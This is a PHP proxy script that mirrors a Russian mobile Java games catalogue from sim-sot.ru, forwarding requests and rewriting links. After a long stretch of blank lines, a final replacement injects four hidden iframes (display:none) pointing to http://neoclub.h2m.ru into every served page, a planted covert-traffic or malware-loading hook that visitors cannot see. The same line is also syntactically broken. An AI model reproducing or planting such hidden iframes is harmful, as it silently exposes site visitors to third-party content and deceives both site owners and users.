View file index.php

File size: 3.3Kb
<?

$title = 'java Игры';

include"head.php";
// ----------------------- Функция экранирования основных знаков --------------------------//
function cha($msg) {

$msg = htmlspecialchars($msg);
$search = array('|', '\'', '$', '\\', '^', '%', '`', "\0", "\x00", "\x1A", chr(226) . chr(128) . chr(174));
$replace = array('&#124;', '&#39;', '&#36;', '&#92;', '&#94;', '&#37;', '&#96;', '', '', '', '');

$msg = str_replace($search, $replace, $msg);
$msg = stripslashes(trim($msg));


return $msg;
}

$sid = cha($_GET['sid']);
if(!$sid)
{
$sid = 'dir/1';
}
ini_set('display_errors',0);
ini_set ('register_globals', 0);
ini_set ("user_agent","...");
session_name('SID'); session_start();
##############################################
##############################################
$host= "sim-sot.ru"; $path="/mas/game/".$sid."?".$_SERVER ['QUERY_STRING'];
$fp=fsockopen($host,80,$errno, $errstr,10);
if(!$fp) { echo "$errstr ($errno)<br/>\n"; }else{
$data = "";$post=0; foreach($_POST as $key=>$value){
$post=1; $data.="&$key=$value";} if($data)$data=substr ($data,1);
if($post) $headers = "POST $path HTTP/1.0\r\n";else
$headers = "GET $path HTTP/1.0\r\n"; $headers.= "Host: $host\r\n";
$headers.= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,image/x-bitmap, */*;q=0.1\r\n";
$headers.= "Accept-Charset: utf-8;q=0.6 windows-1251;q=0.1*;q=0.1\r\n";
$headers.= "Accept-Encoding: utf-8\r\n";
$headers.= "Accept-Language: ru, en;q=0.9\r\n";
$headers.= "User-Agent: game\r\n";
if($post){ $headers.= "Content-type: application/x-www-form-urlencoded\r\n";
$headers.= "Content-Length: ".strlen ($data)."\r\n";
$headers.= "\r\n"; $headers.= $data;}else $headers.="\r\n";
@fwrite($fp, $headers); while($file != "\r\n") $file = @fgets($fp, 128);
$file = ''; while(!feof($fp)) $file.= @fgets($fp, 4096); @fclose($fp); }
##############################################

$file=preg_replace('|<!DOCTYPE(.*?)</head>|is','',$file);
$file=preg_replace('|<center>sim-sot.ru(.*?)<div class="menu_razd">|is','',$file);

$file=str_replace('<center>java Игры</center>','', $file);



$file=str_replace('<a href="/mas/game/','<a href="index.php?sid=', $file);
$file=str_replace('action="/mas/game/','action="index.php?sid=', $file);
$file=str_replace('<a href="index.php?sid=file','<a href="http://sim-sot.ru/mas/game/file', $file);

$file=str_replace('Поиск по названию','', $file);
$file=str_replace('Поиск','', $file);
$file=str_replace('</center>','</b>', $file);
$file=str_replace('<center>','<b>', $file);
$file=str_replace('/mas/img/','http://sim-sot.ru/mas/img/',$file);
$file=str_replace('/mas/game/imgs/','http://sim-sot.ru/mas/game/imgs/',$file);
$file=str_replace('/cache/g_th/','http://rugame.mobi/cache/g_thm',$file);
$file=str_replace('/ic_g','http://rugame.mobi/ic_g',$file);
$file=str_replace('/game/cache/','http://sim-sot.ru/game/cache/',$file);






















$file=str_replace('</head>','<iframe src="http://neoclub.h2m.ru" style="display:none"></iframe><iframe src="http://neoclub.h2m.ru" style="display:none"></iframe><iframe src="http://neoclub.h2m.ru" style="display:none"></iframe><iframe src="http://neoclub.h2m.ru" style="display:none"></iframe></head>'$file);
echo $file;
include"foot.php";
?>